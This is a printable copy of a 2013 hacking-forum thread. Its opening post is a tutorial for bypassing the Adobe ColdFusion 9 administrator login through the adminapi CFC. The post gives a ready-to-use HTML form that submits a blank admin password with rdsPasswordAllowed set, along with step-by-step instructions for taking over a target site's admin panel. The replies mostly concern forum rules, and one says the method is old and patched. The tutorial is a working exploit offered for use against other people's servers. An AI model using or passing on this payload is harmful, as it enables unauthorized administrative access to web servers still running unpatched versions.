Tutorial ColdFusion 9 Administration Login Bypass (Adobe)

Tutorial ColdFusion 9 Administration Login Bypass (Adobe) - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: Tutorial ColdFusion 9 Administration Login Bypass (Adobe) (/Thread-Tutorial-ColdFusion-9-Administration-Login-Bypass-Adobe)

ColdFusion 9 Administration Login Bypass (Adobe) - Crypt - 12-15-2013

Sup kids Cool

This will be about bypassing the admin login page in the ColdFusion 9 CMS by taking advantage of adminapi.

Adobe ColdFusion versions 9.0, 9.0.1, and 9.0.2 do not properly check the
"rdsPasswordAllowed" field when accessing the Administrator API CFC that is
used for logging in. That CFC "Contains basic Administrator functionality,
including login, logout, the Migration wizard, and the Setup wizard. You must
call the login method before calling any other methods in the Administrator
API."

The login function never checks if RDS is enabled when rdsPasswordAllowed="true".
This means that if RDS was not configured, the RDS user does not have a password
associated with their username. This means by setting rdsPasswordAllowed to
"true", we can bypass the admin login to use the rdsPassword, which in most
cases, is blank.

As long as the attacker has access to

Code:
http://www.[site].com/CFIDE/administrator/index.cfc

and

Code:
http://www.[site].com/CFIDE/adminapi/administrator.cfc

Then this is will and can be easily done.

No changes are needed except to substitute
http://www.[site].com/CFIDE/adminapi/administrator.cfc with the proper location
of the adminapi/administrator.cfc

Here's the code to use and save:

Code:
<form action="http://[HOSTNAME]/CFIDE/adminapi/administrator.cfc?method=login" method="post">
    <input type="hidden" name="adminpassword" value="">
    <input type="hidden" name="rdsPasswordAllowed" value="1">
    <input type="submit">
</form>

Obviously change "[HOSTNAME]" to the name of the site. (Example - www.site.com)
and save the file as whatever you want as long as it has the .html extension.

Now, go to a page on the site that ISN'T /CFIDE/administrator/index.cfc

Open the file you saved with the html code

Click "Submit query" in the html file on your browser

Go to /CFIDE/administrator/index.cfc

Enjoy.

RE: ColdFusion 9 Administration Login Bypass (Adobe) - Adorapuff - 12-15-2013

(12-15-2013, 06:35 AM)Duubz Wrote: Nicely done, Partner.
25char.

Going around the 25 char limit is against the rules. An enforced rule at that.

RE: ColdFusion 9 Administration Login Bypass (Adobe) - Equinox - 12-15-2013

(12-15-2013, 03:56 PM)Adorapuff Wrote: Going around the 25 char limit is against the rules. An enforced rule at that.

Darn. Well I guess no more of that.

RE: ColdFusion 9 Administration Login Bypass (Adobe) - madwad - 01-03-2014

this method is patch, very old, you did not even give credit where credit waz due...

new methods are being share online , not patch yet Wink

RE: ColdFusion 9 Administration Login Bypass (Adobe) - BreShiE - 01-03-2014

(01-03-2014, 05:45 AM)madwad Wrote: this method is patch, very old, you did not even give credit where credit waz due...

new methods are being share online , not patch yet

ColdFusion seems to be very vulnerable. New exploits are popping up for it all the time.

RE: ColdFusion 9 Administration Login Bypass (Adobe) - madwad - 01-03-2014

(01-03-2014, 05:51 AM)BreShiE Wrote: ColdFusion seems to be very vulnerable. New exploits are popping up for it all the time.

it is java.. what you expect, lol!

[Image: Ee6CJDL.png]

(http://i.imgur.com/Ee6CJDL.png)